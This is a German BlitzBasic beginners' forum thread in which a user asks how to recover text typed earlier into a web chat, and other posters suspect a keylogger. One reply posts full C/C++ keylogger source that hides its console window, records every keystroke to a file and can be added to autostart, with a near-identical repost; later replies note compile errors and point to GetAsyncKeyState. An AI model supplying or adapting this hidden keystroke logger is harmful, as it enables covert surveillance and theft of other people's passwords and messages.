Text zuvor geschrieben in Programm anzeigen lassen

Übersicht BlitzBasic Beginners-Corner

Neue Antwort erstellen

 

Quäiny

Betreff: Text zuvor geschrieben in Programm anzeigen lassen

BeitragMi, Okt 29, 2008 16:04
Antworten mit Zitat
Benutzer-Profile anzeigen
Hallöle!
Weiß vielleicht jemand zufällig, ob es möglich ist ein Programm mit BB zu schreiben, welches den letzten text, den man zuletzt geschrieben hat, anzeigt? (seit dem letzten Windowsstart)

Beispiel: ich schreib "hallo jungs, was geht bei euch?" in den blitzportalchat und öffne dann das programm. dort soll dann dieser text angezeigt werden (und von mir aus auch noch das, was man zuvor geschrieben hat). Hat einer von euch eine Idee? Könnte mir einer auf die Sprünge helfen?

Hummelpups

BeitragMi, Okt 29, 2008 16:24
Antworten mit Zitat
Benutzer-Profile anzeigen
Wofür brauchste das denn?
blucode - webdesign - Ressource - NetzwerkSim
BlitzBasic 2D - BlitzMax - MaxGUI - Monkey - BlitzPlus
 

ChristianK

BeitragMi, Okt 29, 2008 16:26
Antworten mit Zitat
Benutzer-Profile anzeigen
Eingegebener Text wird logischerweise nicht von Windows gespeichert. Willst du nen Keylogger schreiben?! Rolling Eyes
AdvanceLcd
Intel Core 2 Duo 3.2 GHz, 4 GB RAM, GeForce 8800 GTX | MacBook Pro 15,4″ Intel Core 2 Duo 2.4 GHz, 2 GB RAM, GeForce 8600M GT
 

Quäiny

BeitragMi, Okt 29, 2008 16:26
Antworten mit Zitat
Benutzer-Profile anzeigen
naja ganz bestimmt keine scheiße zu bauen. es wäre nur gut, wenn ich alles abspeichern kann, was ich in www.knuddels.de geschrieben hab.
 

Phlox

BeitragMi, Okt 29, 2008 16:28
Antworten mit Zitat
Benutzer-Profile anzeigen
Das geht nicht. Man kann keine Keys abfragen, die vor dem Programm eingegeben wurden.
Man kann nur einen Keylogger abfragen, der seit dem Start geladen sein muss.
Das wäre ja noch schöner, wenn man den gesamten Computerverlauf ansehen könnte.
(Siehe => Ereignisprotokoll)

The_Nici

BeitragMi, Okt 29, 2008 17:02
Antworten mit Zitat
Benutzer-Profile anzeigen
Nur dumm, dass ein Antivirenprogramm wohl einen Keylogger sofort löschen würde. >_<
Btw das Programm müsste im Hintergrund laufen und mit der WinAPI die Keys abfragen. Dafür brauchst du die entsprechenden decls. Auf www.msdn.com solltest du WinAPI-Funktionen finden. Mehr werde ich dir nicht sagen, da ich Angst habe dass irgend jemand dann seine Passwörter mit dir teilt.

MfG

BladeRunner

Moderator

BeitragMi, Okt 29, 2008 20:13
Antworten mit Zitat
Benutzer-Profile anzeigen
Die meisten Chatprogramme haben ein Logfile in dass sie alles geschriebene speichern. Das sollte für deine Zwecke ja reichen. Zur not tuts ein Copy und Paste vom screen herunter.
Zu Diensten, Bürger.
Intel T2300, 2.5GB DDR 533, Mobility Radeon X1600 Win XP Home SP3
Intel T8400, 4GB DDR3, Nvidia GF9700M GTS Win 7/64
B3D BMax MaxGUI

Stolzer Gewinner des BAC#48, #52 & #92

WüstLing

BeitragMi, Okt 29, 2008 20:41
Antworten mit Zitat
Benutzer-Profile anzeigen
BladeRunner hat Folgendes geschrieben:
Die meisten Chatprogramme haben ein Logfile in dass sie alles geschriebene speichern. Das sollte für deine Zwecke ja reichen. Zur not tuts ein Copy und Paste vom screen herunter.


Er will das ganze aber für Knuddels verwenden, und bei Knuddels ist meines Wissens Copy & Paste nicht möglich.

BladeRunner

Moderator

BeitragMi, Okt 29, 2008 21:08
Antworten mit Zitat
Benutzer-Profile anzeigen
Ich kenne Knuddels nicht, von daher war es mehr ein allgemeiner Tipp. Wenns ganz dringend ist kann man ja noch nen screenie machen.
Zu Diensten, Bürger.
Intel T2300, 2.5GB DDR 533, Mobility Radeon X1600 Win XP Home SP3
Intel T8400, 4GB DDR3, Nvidia GF9700M GTS Win 7/64
B3D BMax MaxGUI

Stolzer Gewinner des BAC#48, #52 & #92
 

Bassmaster

BeitragFr, Okt 31, 2008 16:04
Antworten mit Zitat
Benutzer-Profile anzeigen
Programm: Keylogger
Programmier Sprache: C

Lad dir ein Compiler oder eine IDE runter z.b. codeblocks

Da haste einen einfachen Keylogger, der sollte für dein vorhaben ausreichen.

Der Loggt dann alles mit was du schreibst, wenn du willst kannste dir das ja auch noch in den Autostart kopieren dann musste es nicht immer selber starten.


Code: [AUSKLAPPEN]

#include <windows>
#include <stdio>
#include <iostream>
using namespace std;

int main()
{


AllocConsole();
ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0); // Das öffnet eine neue Konsole, und versteckt diese auch sofort wenn man die 0 am ende durch eine 1 ersetzt wird die Konsole angezeigt

FILE *Log;
short key;
char szKey[MAX_PATH];
int scan;

while(1)
{
  Sleep(10);
  for(key=0;key<256;key++)
 {

    if(GetAsyncKeyState(key)==-32767)
    {
       scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0));
       GetKeyNameText(scan << 16,szKey,MAX_PATH);
       Log=fopen ("i:\\testdatei.txt","a+");    //datei auf laufwerk i: speichern
       cout<<endl;
       fprintf(Log,"%s-",szKey); //fprintf in einen stream schreiben
       fclose(Log);
    }
  }
}
}
//---------------------------------------------------------------------------



Nicdel

BeitragFr, Okt 31, 2008 16:14
Antworten mit Zitat
Benutzer-Profile anzeigen
Das ist aber nicht reines C.
 

bassmaster_2

BeitragSa, Nov 01, 2008 3:05
Antworten mit Zitat
Benutzer-Profile anzeigen
Ja sry war gerade dabei das für C++ umzuschreiben .....


btw ich hab für mein Bassmaster acc die email geändert und jetzt komm ich gar net mehr an den Acc xD

naja nvm^^


Hier ist die C Version:

Wobei es letzendlich egal ist da es auch für sein vorhaben so gut funktioniert ...


[code]

#include <windows>
#include <stdio>
#include <iostream>
using namespace std;

int main()
{

AllocConsole();
ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0); // Das öffnet eine neue Konsole, und versteckt diese auch sofort wenn man die 0 am ende durch eine 1 ersetzt wird die Konsole angezeigt

FILE *Log;
short key;
char szKey[MAX_PATH];
int scan;

while(1)
{
Sleep(10);
for(key=0;key<256;key++)
{

if(GetAsyncKeyState(key)==-32767)
{
scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0));
GetKeyNameText(scan << 16,szKey,MAX_PATH);
Log=fopen ("c:\\testdatei.txt","a+"); // +a der datei weiteren text hinzufügen
cout<<endl;
fprintf(Log,"%s-",szKey); //fprintf in einen stream schreiben
fclose(Log);
}
}
}
}




[/code]

Nicdel

BeitragSa, Nov 01, 2008 11:29
Antworten mit Zitat
Benutzer-Profile anzeigen
Beim C-Compilieren:
- windows: No such file or directory.
- stdio: No such file or directory.
- iostream: No such file or directory.
- syntax error before "namespace"
- `NULL' undeclared (first use in this function)

usw...

Starwar

BeitragSa, Nov 01, 2008 11:59
Antworten mit Zitat
Benutzer-Profile anzeigen
Warum C/C++. In Blitz gehts auch: http://www.janware.ch/index.ph...t&id=7

Sereyanne

BeitragDi, Dez 22, 2009 18:03
Antworten mit Zitat
Benutzer-Profile anzeigen
Hi,
hab grad ein altes Thema ausgegraben, da der Link down ist.

Starwar hat Folgendes geschrieben:
Warum C/C++. In Blitz gehts auch: http://www.janware.ch/index.ph...t&id=7


Mich würde das auch mal interessieren. Gibt es das Tutorial noch?

Nicdel

BeitragDi, Dez 22, 2009 18:20
Antworten mit Zitat
Benutzer-Profile anzeigen
Eigentlich reicht der Befehl GetAsyncKeyState. Den findest du auf www.msdn.com.
Desktop: Intel Pentium 4 2650 Mhz, 2 GB RAM, ATI Radeon HD 3850 512 MB, Windows XP
Notebook: Intel Core i7 720 QM 1.6 Ghz, 4 GB DDR3 RAM, nVidia 230M GT, Windows 7

Sereyanne

BeitragDi, Dez 22, 2009 18:29
Antworten mit Zitat
Benutzer-Profile anzeigen
OK, danke. Den hab ich mir schon angesehen. Dachte es gäb noch mehr.
Danke!

Neue Antwort erstellen


Übersicht BlitzBasic Beginners-Corner

Gehe zu:

Powered by phpBB © 2001 - 2006, phpBB Group